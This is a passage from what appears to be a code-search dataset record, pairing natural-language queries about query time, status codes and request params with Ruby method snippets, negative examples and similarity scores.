action_name.eql?('index') && (formatted.size > 3)\n first_three = formatted.take(3).join(\"<span>#{sep}</span>\").html_safe\n et_al = \"; <span class='et-al'>et al.</span>\".html_safe\n first_three + et_al\n else\n formatted.join(\"<span>#{sep}</span>\").html_safe\n end\nend", "def tr_highlight(model, new_model)\n css_class = \"highlight\" if model.id == new_model.try(:id)\n content_tag :tr, id: css_id(model), class: css_class do\n yield\n end\n end", "def highlight_seq(seq, pep_seq, mod_positions)\n\t\tpep_seq_split = pep_seq.split(\"\")\n\t\tmod_positions.each do |mod_position|\n\t\t\tmod_position = mod_position.to_i - 1\n\t\t\tpep_seq_split[mod_position] = \"<span id='highlight_modification'>#{pep_seq_split[mod_position]}</span>\"\n\t\tend\n\t\tmod_highlighted_pep_seq = pep_seq_split.join()\n\t\t\t\n\t\tbold_pep_seq = \"<span id='highlight_peptide'>#{mod_highlighted_pep_seq}</span>\"\n\t\tseq.gsub!(pep_seq, bold_pep_seq)\n\t\treturn seq.html_safe\n\tend", "def airports_highlighted\n return Array.new\n end", "def excerpt_for(page)\n if @raw_results[page.id] && hl = @raw_results[page.id][:highlights]\n ERB::Util.html_escape((hl.join(\"...\"))).gsub('{{{', \"<mark>\").gsub(\"}}}\", \"</mark>\").html_safe\n else\n page.content[0,255].gsub(/[\\n\\r]/, '') + \"...\"\n end\n end", "def highlight(text, phrases, *args)\n options = extract_options_from_args!(args) || {}\n unless args.empty?\n options[:highlighter] = args[0] || '<strong class=\"highlight\">\\1</strong>'\n end\n options.reverse_merge!(:highlighter => '<strong class=\"highlight\">\\1</strong>')\n\n if text.blank? || phrases.blank?\n text\n else\n match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')\n text.gsub(/(#{match})/i, options[:highlighter])\n end\n end", "def highlight_frame(frame_id:, content_color: nil, content_outline_color: nil)\n {\n method: \"Overlay.highlightFrame\",\n params: { frameId: frame_id, contentColor: content_color, contentOutlineColor: content_outline_color }.compact\n }\n end", "def highlight_in_autocomplete\n\t\t\ttrue\n\t\tend", "def highlighted? options={}\r\n eval_dynamic_attributes\r\n result = false\r\n \r\n @highlights.each do |h| # for every highlight\r\n highlighted = true\r\n h.each_key do |key| # for each key\r\n highlighted &= h[key]==options[key] \r\n end \r\n result |= highlighted\r\n end\r\n return result\r\n end", "def highlight_codes\n #@content.gsub!(/%(.*?){(.*?)}%/m) do # %{ some code }%\n @content.gsub!(/^```(.*?)\\n(.*?)\\n```/m) do # github like: http://github.github.com/github-flavored-markdown/\n lang = :text\n lang = $1 if $1 != \"\"\n Albino.colorize($2, lang)\n end\n end", "def set_highlight(val)\n add_actions \"SetHighlight(#{val})\"\n end", "def index\n @card_highlights = CardHighlight.all\n end", "def get_highlight_annotation(name, annotation_id, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_highlight_annotation_with_http_info(name, annotation_id, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_highlight_annotation_with_http_info(name, annotation_id, opts)\n else\n raise\n end\n return data\n end", "def highlight_code(code)\n tokens = Ripper.lex(code).map do |(_position, type, content, _state)|\n case type\n when :on_nl, :on_sp, :on_ignored_nl\n content\n else\n tag.span(content, class: type.to_s.sub(\"on_\", \"ruby-\").dasherize)\n end\n end\n safe_join(tokens)\n end", "def index\n @highlights = Highlight.order(\"id DESC\").page(params[:page]).per(2)\n # @highlights_list = Highlight.where(user_id: current_user).where('created_at BETWEEN ? AND ? ', 1.month.ago.beginning_of_month , 1.month.ago.end_of_month).order(\"id DESC\")\n @highlights_by_month = Highlight.where(user_id: current_user).select(\"id, user_id, page_title, page_url, created_at\").order(\"id DESC\").all.uniq{|highlight| highlight.page_title}.group_by { |highlight| highlight.created_at.strftime(\"%b %G\") }\n end", "def show\n @highlight = Highlight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @highlight }\n end\n end", "def index\n @highlights = @celebration.highlights\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: [@celebration,@highlights] }\n end\n end", "def highlights_on\n @highlights_on ||= options[:highlights_on]\n end", "def find_by_light_id(id)\n self.select { |record| record.light_ids.include?(id.to_s) }\n end", "def highlighter_prefix=(_arg0); end", "def highlight(html, words)\n tokenizer = HTML::Tokenizer.new(html)\n tokens = []\n \n while token = tokenizer.next\n tokens << token unless token[0, 1] == \"<\" or token.delete(\"\\r\\n\\t\").empty?\n end\n\n sections = []\n pattern = /(#{words.join('|')})/i\n i = 0\n\n while i < tokens.size\n if tokens[i].downcase =~ pattern\n sections << tokens[ [0, i - 5].max .. i + 5].to_a.join(' ') \n i += 4\n end\n \n i += 1\n end\n\n sections.map do |section|\n section.gsub(pattern, '<span class=\"highlight\">\\1</span>')\n end\n end", "def paginated_solr_query solr, params = { q: '*:*' }, page = 1, per_page = ApplicationController::SOLR_RESULTS_PER_PAGE\n params[:start] = (page - 1) * per_page\n response = solr.get 'select', params: params rescue response = nil\n\n # Replace fields with highlighting.\n if response != nil && response['highlighting'] != nil\n response['response']['docs'].each do |doc|\n h = response['highlighting'][doc['id']]\n if h != nil\n doc['title'] = h['title'][0] if h['title']\n doc['description'] = h['description'][0] if h['description']\n doc['body'] = h['body'][0] if h['body']\n end\n end\n end\n response\n end", "def next_att_highlights(locs, color)\n @next_hl_locs = locs\n @next_hl_color = color\n end", "def highlighted_facet_terms(facet_terms)\n facet_terms = Array.wrap(facet_terms)\n unless params[:q].blank?\n facet_terms.map! do |f|\n params[:q] =~ /#{Regexp.escape(f.to_s)}/ ? \"<em>#{h(f.to_s)}</em>\" : f\n end\n end\n facet_terms.join(', ').html_safe\n end", "def get_tags_for_select() tag_ids.inject([]) { |l, tag_id| l << [get_tag_from_id(tag_id).label, tag_id] } end", "def mixup_css_id(field_name, field_value, obj_class: nil)\n case field_name\n when \"css_id\"\n field_value[4..-1] + field_value[0..3]\n end\n end", "def handle_highlight_tags(str)\n str = BentoSearch::Util.handle_highlight_tags(\n str,\n :start_tag => @@highlight_start,\n :end_tag => @@highlight_end,\n :enabled => configuration.highlighting\n )\n end", "def tr_highlight_simple(model, new_model)\n h = \"highlight\" if model.id == new_model.try(:id)\n n = \" new\" if model.created_at.to_date == Date.today\n\n css_class = \"#{h} #{n}\".squeeze(' ').strip\n\n content_tag :tr, id: css_id(model), data: {id: model.id}, class: css_class do\n yield\n end\n end" ]
[ "0.72343576", "0.6988769", "0.66050494", "0.6603448", "0.65995955", "0.65995955", "0.65995955", "0.65439826", "0.62912464", "0.626399", "0.6263871", "0.6194471", "0.5993255", "0.58568305", "0.578976", "0.5739368", "0.5739368", "0.57009244", "0.5595658", "0.55736756", "0.54975426", "0.54659283", "0.5390525", "0.5383896", "0.5380772", "0.5320144", "0.530666", "0.5298947", "0.52945155", "0.52892613", "0.52799934", "0.52660567", "0.522046", "0.51775503", "0.5159578", "0.5158818", "0.5158818", "0.5158818", "0.51414895", "0.51207244", "0.50976884", "0.507869", "0.50756437", "0.5074438", "0.50555044", "0.50540036", "0.5051823", "0.50376344", "0.5014113", "0.5001712", "0.4995854", "0.49909565", "0.49865997", "0.49818322", "0.49735042", "0.49715745", "0.4970078", "0.49582484", "0.4956976", "0.49462876", "0.49344373", "0.492699", "0.492699", "0.4925874", "0.48673657", "0.48493254", "0.48444024", "0.48252925", "0.48229828", "0.48166224", "0.4815969", "0.4813691", "0.48005855", "0.47685406", "0.47616988", "0.47607863", "0.47526821", "0.47386646", "0.47271904", "0.47240946", "0.47005433", "0.46861476", "0.46850356", "0.4675251", "0.46740738", "0.46737894", "0.46621266", "0.4661178", "0.4659012", "0.46517786", "0.46509865", "0.46509272", "0.46475774", "0.46449465", "0.46384525", "0.46365625", "0.46258393", "0.46244705", "0.4619468", "0.46073732" ]
0.79082835
0
Returns the query time in ms
def qtime @qtime ||= raw_response['responseHeader']['QTime'].to_i end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def query_time\n @query_time ||= solr_response_header['QTime']\n end", "def query_start_time\n start_time - 1.hour\n end", "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end", "def query_time(lastRunFile, time=nil, debug)\n\n # TODO:\n # write the current run time to the lastRunFile location\n currentRunTime = normalize_time(time, debug)\n\n lastRunTime = normalize_time(time, debug)\n\n # Running the query hourly we start the query at the beginning of the hour... (subject to change)\n return lastRunTime.beginning_of_hour()\nend", "def time\n return @time\n end", "def time\n @time\n end", "def time()\n return _request([\n 'time',\n '0'\n ])[0]\n end", "def time()\n return self._request([\n 'time',\n '0'\n ])[0]\n end", "def table_time\n @table_time * 1000\n end", "def get_time()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('system', 'getTime', 'bigint', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def time\n\t\tresponse = self.request( :time )\n\t\treturn nil if response.empty?\n\t\treturn Time.at( response.first[:time].to_i )\n\tend", "def time\n Time.now.to_f\n end", "def server_timing; end", "def time\r\n\t\t@usr_time\r\n\tend", "def elapsed_time\n (Time.now.to_f - @start_time) * 1000\n end", "def now_in_ms\n Process.clock_gettime(Process::CLOCK_REALTIME, :millisecond)\n end", "def now_in_ms\n Process.clock_gettime(Process::CLOCK_REALTIME, :millisecond)\n end", "def time\n Time.at(data[\"time_ms\"].to_f/1000)\n end", "def total_time; end", "def elapsed_time\n (Time.now.to_f - @start_time) * 1000000\n end", "def time; end", "def time; end", "def time; end", "def time; end", "def time; end", "def time; end", "def time; end", "def time; end", "def time; end", "def getServerTime()\r\n\t\t# get the time now\r\n\t\ttime = Time.now.to_i\r\n\t\ttime\r\n\tend", "def response_time\n @response_time\n end", "def timing_ms\n return nil if timing.nil?\n (timing * 1000).to_i\n end", "def start_time\n start\n end", "def cstime(*) end", "def time\n params['time']\n end", "def time_sec; Time.now.sec; end", "def query_cache_buster\n \"AS t#{(Time.now.to_f * 1000).to_i}\"\n end", "def time\n request :public, :get, :time\n end", "def completiontime\r\n\t\t\t`#{BITS::BITSADMIN} /getcompletiontime {#{@id}}`\r\n\t\tend", "def time_elapsed\n\t\treturn Time.now - self.start_time\n\tend", "def time\n end_time - start_time\n end", "def milliseconds()\n java.lang.System.currentTimeMillis\n end", "def time_elapsed\n Time.now - @start_time\n end", "def time\n end", "def time\n reply.documents[0][TIME]\n end", "def cstime=(*) end", "def reqn\n t = Time.now\n msec = t.to_f.to_s.match(/\\.(\\d\\d)/)[1] rescue '00'\n t.strftime('%Y%m%d%H%M%S') + msec\n end", "def time\n building_time + execution_time\n end", "def total_time\n Time.now - @now\n end", "def execute_time\n @next_time\n end", "def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end", "def get_time()\n return @noko.css(\"li.g:first-of-type table table\")[0].text\n end", "def timestamp\n ((Time.now.to_f - StartTime)*1000).round\n end", "def run_time\n ((Time.now - start_time) * 1000).round\n end", "def now\r\n now = Time.now.to_f - @start_time\r\n now * 1000\r\n end", "def noprogresstimeout\r\n\t\t\t`#{BITS::BITSADMIN} /getnoprogresstimeout {#{@id}}`\r\n\t\tend", "def last_in_time\n In.last(:order => \"time ASC\").time rescue nil\n end", "def get_time\n\t\t@time.inspect\n\tend", "def seconds\n @time\n end", "def time\n Time.at(messaging['time'] / 1000)\n end", "def start_time\n # API results are in milliseconds since the unix epoch\n epoch_msec = raw_result.fetch('time')\n epoch_sec = epoch_msec / 1000\n\n Time.at(epoch_sec).ctime\n end", "def to_time()\n #This is a stub, used for indexing\n end", "def time\n #Parse the raw time into a binary time structure...\n time = send_request(Packets::RequestTime.new)\n\n #And convert that to a ruby time.\n time.to_time()\n end", "def queue_time_ms\n # Controller logic\n if converter_results[:queue_time] && converter_results[:queue_time].any?\n converter_results[:queue_time].values.first.total_call_time*1000 # ms\n # Job logic\n elsif converter_results[:job]\n stat = converter_results[:job].metric_set.metrics[ScoutApm::MetricMeta.new(\"Latency/all\", :scope => transaction_name)]\n stat ? stat.total_call_time*1000 : nil\n else\n nil\n end\n end", "def start_time; end", "def resttime\n\t\tif (Time.now < calldate) && (Time.now < enddate)\n\t\t\tif status == 0\n\t\t\t\tt = distance_of_time_in_words(Time.now, calldate, false, locale: 'ko')\n\t\t\telse\n\t\t\t\tt = distance_of_time_in_words(Time.now, enddate, false, locale: 'ko')\n\t\t\tend\n\t\telse\n\t\t\tt = \"기간 만료\"\n\t\tend\n\t\tt\n\tend", "def responsive_desktop_time_in_ms\n return @responsive_desktop_time_in_ms\n end", "def responsive_desktop_time_in_ms\n return @responsive_desktop_time_in_ms\n end", "def total_time=(_arg0); end", "def start_time\n return @start_time\n end", "def utime(*) end", "def query_duration sql, type = true, waiting_time = 10\n start = Time.now\n if type\n result = query_wait(sql, waiting_time)\n else\n result = query_empty(sql, waiting_time)\n end\n finish = Time.now\n msecs = (finish - start) * 1000.0\n hash = {'result' => result, 'duration' => msecs}\n return hash\n end", "def timestamp(now)\n (now - @start_time) * 1000\n end", "def start_time\n @start_time\n end", "def time\n @values['time']\n end", "def response_time\n metrics['Response Time'].round\n end", "def report_time time\n end", "def elapsed_time\n @internal_data.elapsed_time\n end", "def timeout\n datastore['TIMEOUT']\n end", "def time\n @robot.time\n end", "def time\n\n end", "def timeout\n datastore['Timeout']\n end", "def time\n @ole.Time\n end", "def time\n @ole.Time\n end", "def time\n @ole.Time\n end", "def usage_operation_update_time\n data[:usage_operation_update_time]\n end", "def execution_time\n @process.instance_variable_get(:@execution_time).total\n end", "def time\n start.try(:to_time).try(:strftime, '%-l:%M %P')\n end", "def get_time_length \n send_cmd(\"get_time_length\")\n end", "def start_time_today\n In.find(:first, :conditions => [\"time > '#{Date.today.beginning_of_day.to_s(:db)}'\"], :order => \"time ASC\").time\n end", "def cpu_time_used\n domain_info[:cpuTime]\n end", "def cpu_time_used\n domain_info[:cpuTime]\n end", "def total_login_time_in_ms\n return @total_login_time_in_ms\n end", "def fetchSimulationTime()\n com = Sumo::Traci::Command_GetVariable.new(:sim, :timeStep, \"\") ;\n execCommands(com) ;\n time = com.responseValue() ;\n return time ;\n end", "def report_time_elapsed\n self.test_session.time_elapsed\n end", "def get_queue_time\r\n @account = current_user\r\n # if the user is not logged in, give arbitrary time\r\n if @account == nil then\r\n if Rails.env.development? then\r\n return 140\r\n else\r\n return 0\r\n end\r\n end\r\n @userRequest = @account.queue_request\r\n # if there is no actual queue request, give arbitrary time\r\n if @userRequest == nil then\r\n if Rails.env.development? then\r\n return 140\r\n else\r\n return 0\r\n end \r\n end\r\n # Compare request end time to now\r\n @now = DateTime.current().getutc()\r\n if @now <= @userRequest.end_time then\r\n # Return time left in seconds\r\n return @userRequest.end_time.to_i - @now.to_i\r\n else\r\n return 0\r\n end \r\n end", "def status_elapsed_time_sql(consumer_name = nil)\n sql_part = consumer_name ? \"and consumer_name = '#{consumer_name}' \" : ''\n STATUS_ELAPSED_TIME.sub('CONSUMER_NAME_PART', sql_part)\n end", "def total_time\n (@fetch_time || 0) + (@parse_time || 0)\n end" ]
[ "0.7600526", "0.7146715", "0.6846521", "0.6846521", "0.6846521", "0.66530037", "0.6624929", "0.6616107", "0.6568399", "0.65568304", "0.65524465", "0.65048677", "0.64481795", "0.64164495", "0.63695043", "0.63657445", "0.63170785", "0.63010645", "0.63010645", "0.6296276", "0.62908185", "0.627267", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6244024", "0.6236732", "0.62354535", "0.61984617", "0.6181859", "0.616591", "0.61613125", "0.6160668", "0.6154066", "0.61432767", "0.6140137", "0.6132683", "0.61267054", "0.6121963", "0.61013085", "0.6092628", "0.60903746", "0.60888964", "0.6081073", "0.60801464", "0.60773164", "0.6071195", "0.6062447", "0.60604274", "0.6052572", "0.60508776", "0.6043941", "0.6041865", "0.6029684", "0.6021589", "0.60103863", "0.5989156", "0.596964", "0.5961432", "0.5957413", "0.5952139", "0.59520465", "0.59482634", "0.5942603", "0.5942603", "0.5942562", "0.59366083", "0.59360355", "0.5935717", "0.5925716", "0.59247756", "0.59215987", "0.5921031", "0.59191036", "0.59179753", "0.5917707", "0.59157586", "0.5915135", "0.5903972", "0.5889812", "0.5889812", "0.5889812", "0.58857673", "0.587413", "0.5871085", "0.5868187", "0.586732", "0.58584034", "0.58584034", "0.58508736", "0.58481574", "0.5845975", "0.58454686", "0.5830444", "0.58173" ]
0.60097265
61
Returns the status code (0 for success)
def status @status ||= raw_response['responseHeader']['status'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def status_code\n STATUS_CODE\n end", "def getStatusCode\n @_statusCode\n end", "def status_code\n @response.status\n end", "def status_code\n @parser.status_code\n end", "def ok_status_code\n _undefined\n end", "def status_code\n response_value(:code)\n end", "def status_code; end", "def status_code\n wrapper.status_code.to_i\n end", "def status\n head :ok\n end", "def status\n head :ok\n end", "def status_code\n data.status_code\n end", "def status\n case @result.retval\n when 0 ; \"ok\"\n when 1 ; \"warning\"\n when 2 ; \"critical\"\n end\n end", "def status_code\n self.status.to_i\n end", "def to_i\n @status_code\n end", "def status\n response.status\n end", "def status\n response.status\n end", "def status_code\n return manual_status_code if manual_status_code\n return 422 if errors.present?\n return 200 if result\n return 400\n end", "def status\n self.operation.response.statusCode\n end", "def http_status\n self[:status_code]\n end", "def status_code\n @status_code ||= if absolved?\n \"A\"\n elsif finished?\n \"Z\"\n elsif interrupted?\n \"P\"\n elsif final_exam_passed?\n \"S\"\n elsif continues?\n \"S\"\n elsif studying?\n \"S\"\n elsif before_admit?\n \"S\"\n else\n raise UnknownState\n end\n return @status_code\n end", "def status_code\n @data[:status_code].to_i\n end", "def status\n response.status\n end", "def successful?\n status_code == 0 ? true : false\n end", "def success_code\n @success_code\n end", "def code\n @http_response.code.to_i\n end", "def http_response_code(status = nil)\n if status\n @status = status\n else\n @status\n end\n end", "def is_successful?\n status_code == '0'\n end", "def exit_status\n @status\n end", "def check_exit_code(code)\n status = code == SUCCESS_EXIT_CODE ? SUCCESS_STATUS : FAILURE_STATUS\n return status\n end", "def ok; @status = 200 end", "def ok; @status = 200 end", "def http_status\n self.class.http_status\n end", "def http_status\n self.class.http_status\n end", "def status_code(*)\n end", "def success_code\n @success_code\n end", "def status(value=nil)\n response.status = value if value\n response.status\n end", "def response_code\n @log.debug \"Retreiving HTTP Code for website '#{@url}'\"\n\n begin\n result = Net::HTTP.get_response(@fqdn, @path).code\n @log.debug \"Received HTTP Code #{result} for website '#{@url}'\"\n rescue SocketError\n @log.error \"Communication problem with '#{@fqdn}'--possibly a DNS error. Cannot check status!\"\n result = \"200\"\n end\n\n return result\n end", "def status\n http_client.status\n end", "def status(*args)\n @status = args.first unless args.empty?\n @status || 200\n end", "def success?\n (status_code.to_s =~ /2../) ? true : false\n end", "def response_status\n @response[:status]\n end", "def status\n params['ret_status']\n end", "def status_code_for_exception(exception)\n Egregious.status_code_for_exception(exception)\n end", "def status\n @response && @response.status\n end", "def status(code)\n response.status = code\n end", "def status\n return :code => info[:statuscode].to_i, :messages => info[:messages]\n end", "def status code=nil\n @response.status = code if code\n @response.status\n end", "def http_success?(code)\n http_status?(:success, code)\n end", "def code\n @response.code\n end", "def status_codes\n STATUS_CODES\n end", "def status_code\n @status_code || errors.empty? ? 200 : 422\n end", "def code\n response&.code\n end", "def server_error_status_code\n _undefined\n end", "def status_code(status_symbol = :ok)\n Rack::Utils::SYMBOL_TO_STATUS_CODE[status_symbol]\n end", "def exit_status\n @failure_count == 0 ? exit(0) : exit(1)\n end", "def response_code; end", "def response_code; end", "def response_code; end", "def response_code; end", "def is_successful?\n code.to_i >= 200 && code.to_i <= 299\n end", "def rsuccess(response)\n response[:body][:statuscode].to_i == 0\n end", "def status\n STATUSES[code] || 'Unknown'\n end", "def status\n Integer(@object.payload[:status]) rescue nil\n end", "def status(value = nil)\n\t\t\tresponse.status ||= 200\n\t\t\tresponse.headers['X-Cascade'] = 'pass' if value == 404\n\t\t\tvalue ? response.status = value : response.status\n\t\tend", "def response_code\n @response.code\n end", "def client_error_status_code\n _undefined\n end", "def successful?\n @code == 0\n end", "def status st=nil\n @status = st if st\n @status ||= 200 #TODO: replace with constants or Kiwi.status[:OK]\n end", "def success?\n code == 200\n end", "def get_http_response_code\n raise 'To be implemented in child classes'\n end", "def getStatus\n call(STATUS_PATH)\n end", "def error\n @status = ERROR_FLAG if @status == SUCCESS_FLAG\n end", "def success?\n\t\t!!( @status and @status.exitstatus == 0 )\n\tend", "def success?\n @data[:status_code] == '200' || @data[:status_code] == '201' || @data[:status_code] == '407'\n end", "def status\n return false if !@responses.include?(200)\n \n true\n end", "def code\n @response.code.to_i\n end", "def code\n @response.code.to_i\n end", "def code\n @raw_response.code\n end", "def status_code\n params[:code] || 500\n end", "def status_code\n params[:code] || 500\n end", "def successful?\n (200...300).include?(@status_code)\n end", "def response_to_status(response)\n response ? :success : :error\n end", "def exitstatus; end", "def success?\n status == 200\n end", "def ok?\n @result.code.to_i != 200\n end", "def get_http_status line\n is_http_status?(line) ? line.to_i : nil\n end", "def http_code\n '000'\n end", "def status(status = nil)\n if status\n @status = status\n else\n return @status if @status\n case request.request_method.to_s.upcase\n when 'POST'\n 201\n else\n 200\n end\n end \n end", "def success?\n [200, 201, 204, 280, 281].include?(code)\n end", "def status\n response = run('estado')\n { code: response[\"code\"], message: response[\"message\"] }\n # public function getEstado()\n # {\n # $ret = $this->exec('estado');\n # if (!$ret)\n # return false;\n # if ($this->getStatusCode() != 200)\n # {\n # throw new Exception($this->getStatusMessage(), $this->getStatusCode());\n # return false;\n # } else {\n # $ret = $this->getData();\n # return $ret['estado'];\n # }\n # }\n end", "def get_response_status\n @response_status\n end", "def status(code)\n @response.status = code\n end", "def status\n 500\n end", "def http_err_code\n http_codes[@http_err]\n end", "def code\n @code ||= @net_http_res.code.to_i\n end", "def status\n @json_body['status']\n end", "def exit_status\n status = 0\n status |= 2 if @metrics[\"changes\"][\"total\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status\n end", "def isSuccess\n return @_statusCode == 200 || @_statusCode == 201? true : false\n end", "def image_http_status(uri)\r\n puts \"Requesting Image: #{uri}\"\r\n http = Net::HTTP.new(uri.host, uri.port)\r\n response = http.head(uri.path)\r\n return response.code\r\n rescue\r\n return \"500\"\r\n end", "def success?\n @response.code == \"200\"\n end" ]
[ "0.81736946", "0.79995483", "0.79879266", "0.79644084", "0.79485136", "0.7919869", "0.7877858", "0.782703", "0.7756851", "0.7756851", "0.77170295", "0.7622666", "0.76211065", "0.75552475", "0.7533311", "0.7533311", "0.7502882", "0.74981177", "0.74592346", "0.7403833", "0.7393695", "0.7386091", "0.7339358", "0.733771", "0.7326984", "0.7320516", "0.72908586", "0.7280482", "0.7277549", "0.72693914", "0.72693914", "0.71997184", "0.71997184", "0.71798295", "0.71780443", "0.71707016", "0.71512127", "0.7146862", "0.71420336", "0.7097095", "0.70843405", "0.70722336", "0.7072226", "0.70153105", "0.70026857", "0.69886935", "0.69828403", "0.69819564", "0.6976466", "0.6965752", "0.69573647", "0.69426686", "0.6916428", "0.69120085", "0.68975544", "0.6888779", "0.6888779", "0.6888779", "0.6888779", "0.68820673", "0.6868486", "0.68659437", "0.6862759", "0.686156", "0.68550974", "0.6850052", "0.6849428", "0.6829607", "0.68228245", "0.68184423", "0.68144476", "0.6806491", "0.6802973", "0.6790662", "0.6781526", "0.6764261", "0.6764261", "0.67606235", "0.6757527", "0.6757527", "0.67530113", "0.6750347", "0.67402244", "0.67374086", "0.6686369", "0.6684067", "0.6678238", "0.66739947", "0.6672266", "0.6661594", "0.6656526", "0.6647046", "0.6646085", "0.6644975", "0.6643679", "0.6631985", "0.6626773", "0.66101694", "0.66050076", "0.66010106" ]
0.687413
60
Returns the params hash
def params @params ||= raw_response['responseHeader']['params'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def params_to_hash\n {}\n end", "def to_h\n @params\n end", "def get_params()\n return self.params.keys\n end", "def params\n @params ||= {}\n end", "def params\n @params ||= {}\n end", "def params\n @params ||= {}\n end", "def params\n @params ||= {}\n end", "def params\n {}\n end", "def to_h\n @params.dup.with_indifferent_access\n end", "def params_digest\n # return Digest::SHA1.hexdigest(params.sort.flatten.join(\"_\"))\n Digest::SHA1.hexdigest(params.to_s)\n end", "def get_params_hash(params)\n params_hash = {}\n\n if !params.nil? && !params.empty?\n params = percent_decode(params)\n params.split('&').each do |param|\n param_pair = param.split('=')\n params_hash[percent_encode(param_pair[0])] = percent_encode(param_pair[1])\n end\n end\n\n params_hash\n end", "def hashParameters params\n\n\t# Create a temp array\n\tparameters = []\n\n\t# Load each element into a one dimensional array\n\tparams.each do |p|\n\t\tp.each do |x|\n\t\t\tparameters << x\n\t\tend\n\tend\n\n\t# Convert to a hash and return\n\tparameters = Hash[*parameters]\nend", "def parameters\n @parameters ||= {}\n end", "def parameters\n @parameters ||= {}\n end", "def params\n _params\n end", "def params\n\t if method == :post\n#\t\t @post_params.instance_variable_get(\"@hash\")\n\t\t @post_params\n\t else\n#\t\t @get_params.instance_variable_get(\"@hash\")\n\t\t @get_params\n\t end\n end", "def cast_to_hash(params); end", "def hash\n hash_args.hash\n end", "def params\n @params.blank? ? default_hash : @params\n end", "def to_params\n @params ||= each_with_index.map do |key, index|\n \"$%s::%s\" % [index.next, hash[key]]\n end.join(\", \")\n end", "def params_auth_hash\n params[scope]\n end", "def params_auth_hash\n params[scope]\n end", "def params\n @params\n end", "def params\n @params\n end", "def params\n @params\n end", "def params\n @params\n end", "def params\n @_params\n end", "def to_hash\n rethash = {}\n\n @parameters.each do |name, obj|\n rethash[name] = obj.value\n end\n\n rethash\n end", "def params_digest\n return Digest::SHA1.hexdigest(params.sort.flatten.join(\"_\"))\n end", "def params\n return @params || NO_PARAMS if frozen?\n @params ||= NO_PARAMS.dup\n end", "def params\n self.class.const_get(\"REQUEST_PARAMETERS\").inject({}) do |parameters, parameter|\n parameters[parameter] = instance_variable_get(\"@#{parameter}\") unless instance_variable_get(\"@#{parameter}\").nil?\n parameters\n end\n end", "def params\n {}\n end", "def parameters()\n result = @data[\"parameters\"] || {}\n raise HashExpectedException.new() unless result.class == Hash\n return result\n end", "def params\n RequestStore.store[:params]\n end", "def get_query_params\n {}\n end", "def params=(hash); end", "def params=(hash); end", "def params\n return @params\n end", "def params\n @opts[:params] || {}\n end", "def params\n # Normal cases\n # raise @params.values.inspect\n # return @params.values.length.inspect\n if %w{ready accesses list_subscribe list_unsubscribe}.include?(@action)\n @params\n elsif @params.values.first.is_a? Hash\n {@params.keys.first => @params.values.first.select{|k,v| v.present? }}\n elsif @params.values.first.is_a? Array\n {@params.keys.first => @params.values.first.select(&:present?)} rescue {}\n end\n # rescue => e\n # {}\n end", "def params\n @params ||= { }\n end", "def get_hash_data\r\n return CallInitiate.decode_call_params(get_variable(\"CallInitiate_hashdata\"))\r\n\tend", "def params_auth_hash; end", "def params\n @@params\n end", "def params\n params = {}\n @options[:params].each{|key, value| params[key.to_s] = escape((value.class == Array ? value.join(\",\") : value))}\n params\n end", "def param_hash(*keys)\n params.to_unsafe_h\n .deep_symbolize_keys\n .then { |hash| keys.empty? ? hash : hash.slice(*keys) }\n .compact\n end", "def query_params\n {}\n end", "def query_params\n {}\n end", "def query_params\n {}\n end", "def query_params\n {}\n end", "def to_params\n Parameters.new(to_hash)\n end", "def params\n @parameters\n end", "def params\n (@params + [:host, :port]).uniq\n end", "def http_params\n {}\n end", "def params\n @params.uniq\n end", "def query_params\n get_query_params\n end", "def request_query_params\n {}\n end", "def params\n instance_variables.map do |var|\n normalized_var = var.to_s.gsub(/^@/, '')\n next if BLACKLISTED_INSTANCE_VARIABLES.include?(normalized_var)\n\n [normalized_var, instance_variable_get(var)]\n end.compact.to_h\n end", "def params\n { :only => self.attrs, :methods => self.methds }\n end", "def to_params params\n Array(params).inject({}) do |memo,entry|\n key, value = entry\n if value.is_a?(Array)\n key = \"#{key}[]\"\n end\n memo[key] = value\n memo\n end\n end", "def query_params\n {}\n end", "def query_params\n {}\n end", "def params\n return @params if defined?(@params)\n nil\n end", "def params\n request.params\n end", "def params\n request.params\n end", "def params\n return self.class.params\n end", "def extract_params()\n param = extract_params_pm()\n param[:dureeCours] = @dureeCours\n param[:dureeTP] = @dureeTP\n param[:quadri] = @quadri\n param[:professeur] = @professeur\n return param\n end", "def params\n { :only => self.attrs, :methods => self.methds }\n end", "def to_hash\n @request\n end", "def to_hash\n @request\n end", "def query_params\n {}\n end", "def get_key_value_params(params)\n key_value_hash=Hash.new\n\n params.each do |param|\n key_value_hash[param.name]=param.value\n# puts \"kv:\"+param.name+\"->\"+param.value\n end\n\n return key_value_hash\n end", "def body_parameters\n p = Hash.new\n p\n end", "def parameters\n self.class.parameters.each_with_object({}) do |parameter, hash|\n hash[parameter.name] = send(parameter.name)\n end\n end", "def get_hash()\n\t\t\treturn @config.clone()\n\t\tend", "def to_params\n ::HashWithIndifferentAccess.new(attributes_hash)\n end", "def query_params\n\t\t\t\t{}\n\t\t\tend", "def params ; @params ||= Waves::Request::Query.new( request.query.merge( captured.to_h ) ) ; end", "def params_auth_hash\n if params[scope].kind_of?(Hash) && params[scope].has_key?(authentication_keys.first)\n params[scope]\n else\n params\n end\n end", "def params\n @symbolised_params ||= @rack_request.params.inject({}) { |p, (k,v)| p[k.to_sym] = v; p }\n end", "def keys\n @params.keys\n end", "def params() request.params end", 